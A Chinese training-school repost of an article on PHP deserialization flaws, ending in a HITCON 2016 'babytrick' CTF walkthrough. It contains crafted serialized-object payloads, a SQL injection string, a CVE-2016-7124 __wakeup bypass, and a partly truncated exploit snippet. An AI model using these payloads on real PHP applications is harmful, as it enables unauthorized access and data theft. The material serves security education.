课程咨询 :13623629309

太原PHP培训 > 达内新闻 > 聊一聊php反序列化漏洞
  • 聊一聊php反序列化漏洞

    发布:FreeBuf      来源:FreeBuf      时间:2016-10-19

  • 聊一聊php反序列化漏洞

    php设计中,会有很多的程序设计都是反漏洞的,太原php培训班带你一起看看有什么。

    反序列化漏洞在各种语言中都较为常见,下面介绍一下php的反序列化漏洞。

    1.unserialize函数

    php官方文档( http://php.net/manual/en/function.unserialize.php ),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

    理解序列化的字符串(unserlialize的参数)

    O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

    O:3: 参数类型为对象(object),数组(array)a

    “foo”:2: 参数名为foo,有两个值

    S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

    s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

    object foo,属性fileshell.php,属性dataaaaaa

    2.反序列化漏洞

    php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

    个人理解 漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

    所以漏洞的前提:

    1)unserialize函数的变量可控

    2)php文件中存在可利用的类,类中有魔术方

    利用场景 ctf、代码审计中常见 ,黑盒测试要通过检查cookie等有没有序列化的值来查看。

    反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3

    防御方法主要有 对参数进行处理、换用更安全的函数。

    推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

    3.反序列化练习

    如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

    // 某类

    class User

    {

    // 类数据

    public $age = 0;

    public $name = '';

    // 输出数据

    public function PrintData()

    {

    echo 'User ' . $this->name . ' is ' . $this->age

    . ' years old.

    ';

    }

    }

    // 创建一个对象

    $usr = new User();

    // 设置数据

    $usr->age = 20;

    $usr->name = 'John';

    // 输出数据

    $usr->PrintData();

    // 输出序列化之后的数据

    echo serialize($usr);

    ?>

    输出为:

    User John is 20 years old.

    O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

    以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。

    // 某类

    class User

    {

    // Class data

    public $age = 0;

    public $name = '';

    // Print data public function PrintData()

    {

    echo 'User ' . $this->name . ' is ' . $this->age . ' years old.

    ';

    }

    }

    // 重建对象

    $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

    // 调用PrintData 输出数据

    $usr->PrintData();

    ?>

    输出为:User John is 20 years old

    这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age20,属性值namejohn。调用user类并给属性赋了值,在有魔术方法时会自动调用。

    4.writeup实战

    以本次HITCON 2016webbabytrick为例:

    访问链接 http://52.198.42.246/ 可以看到源代码如下:

    (目前已关闭,可访问 https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick 查看源码

    include "config.php";

    class HITCON{

    private $method;

    private $args;

    private $conn;

    public function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

    $this->__conn();

    }

    function show() {

    list($username) = func_get_args();

    $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

    $obj = $this->__query($sql);

    if ( $obj != false ) {

    $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );

    } else {

    $this->__die("Nobody Nobody But You!");

    }

    }

    function login() {

    global $FLAG;

    list($username, $password) = func_get_args();

    $username = strtolower(trim(mysql_escape_string($username)));

    $password = strtolower(trim(mysql_escape_string($password)));

    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

    if ( $username == 'orange' || stripos($sql, 'orange') != false ) {

    $this->__die("Orange is so shy. He do not want to see you.");

    }

    $obj = $this->__query($sql);

    if ( $obj != false && $obj->role == 'admin' ) {

    $this->__die("Hi, Orange! Here is your flag: " . $FLAG);

    } else {

    $this->__die("Admin only!");

    }

    }

    function source() {

    highlight_file(__FILE__);

    }

    function __conn() {

    global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

    if (!$this->conn)

    $this->conn = mysql_connect($db_host, $db_user, $db_pass);

    mysql_select_db($db_name, $this->conn);

    if ($DEBUG) {

    $sql = "CREATE TABLE IF NOT EXISTS users (

    username VARCHAR(64),

    password VARCHAR(64),

    role VARCHAR(64)

    ) CHARACTER SET utf8";

    $this->__query($sql, $back=false);

    $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";

    $this->__query($sql, $back=false);

    }

    mysql_query("SET names utf8");

    mysql_query("SET sql_mode = 'strict_all_tables'");

    }

    function __query($sql, $back=true) {

    $result = @mysql_query($sql);

    if ($back) {

    return @mysql_fetch_object($result);

    }

    }

    function __die($msg) {

    $this->__close();

    header("Content-Type: application/json");

    die( json_encode( array("msg"=> $msg) ) );

    }

    function __close() {

    mysql_close($this->conn);

    }

    function __destruct() {

    $this->__conn();

    if (in_array($this->method, array("show", "login", "source"))) {

    @call_user_func_array(array($this, $this->method), $this->args);

    } else {

    $this->__die("What do you do?");

    }

    $this->__close();

    }

    function __wakeup() {

    foreach($this->args as $k => $v) {

    $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

    }

    }

    }

    if(isset($_GET["data"])) {

    @unserialize($_GET["data"]);

    } else {

    new HITCON("source", array());

    }

    从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

    要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。

    show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:

    bla’ union select password,username,password from users where username=’orange’– –

    那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

    如何绕过__wakeup?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考 https://bugs.php.net/bug.php?id=72663 ,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

    官方exp如下:

    data);

    }

    function unserialize($data) {

    $this->data = unserialize($data);

    }

    }

    $inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

    $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

    $data = unserialize($exploit);

    echo $data[1];

    ?>

    根据poc进行改造如下,计入了

    O:9:"Exception":2:{s:7:"*file";R:4;};}

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

    这种情况下就不会执行__wakeup方法。

    (同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/

    为什么构造的字符串为“%00HITCON%00…”?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private

    如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格

    加入注入语句为:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

    得到结果:

    {“msg”:”babytrick1234 is babytrick1234″}

    构造好:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

    这时会返回

    {“msg”:”Orange is so shy. He do not want to see you.”}

    接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有ĄÃ,可实现绕过。

    poc为:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

    得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:

    O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

    得到了结果,很开心有木有?

    {“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

    好了,今天就给大家讲这么多吧,喜欢我的内容可以关注或者分享(微信公众平台:tytedu)选择太原达内培训,不再孤军奋战,轻轻松松做IT高薪白领。太原达内培训带领有明确目标的学子迈向成功之路!

上一篇:PHP日志扩展 SeasLog-1.6.8, 性能更优

下一篇:2016PHP 上传图片到 zimg 服务器

最新开班日期  |  更多

php高级开发名企定制班(剩2个名额)

php高级开发名企定制班(剩2个名额)

开班日期:12-29

php高级开发周末班(剩5个名额)

php高级开发周末班(剩5个名额)

开班日期:12-29

php高级开发免费试听(剩5个名额)

php高级开发免费试听(剩5个名额)

开班日期:12-29

更多高级开发工程师精品班

更多高级开发工程师精品班

开班日期:12-29

  • 地址:山西省太原市小店区学府街长治路高新国际A座24层
  • 课程培训电话:13623629309     全国服务监督电话:400-827-0010
  • 服务邮箱 ts@tedu.cn
  • 2001-2016 达内国际公司(TARENA INTERNATIONAL,INC.) 版权所有 京ICP证08000853号-56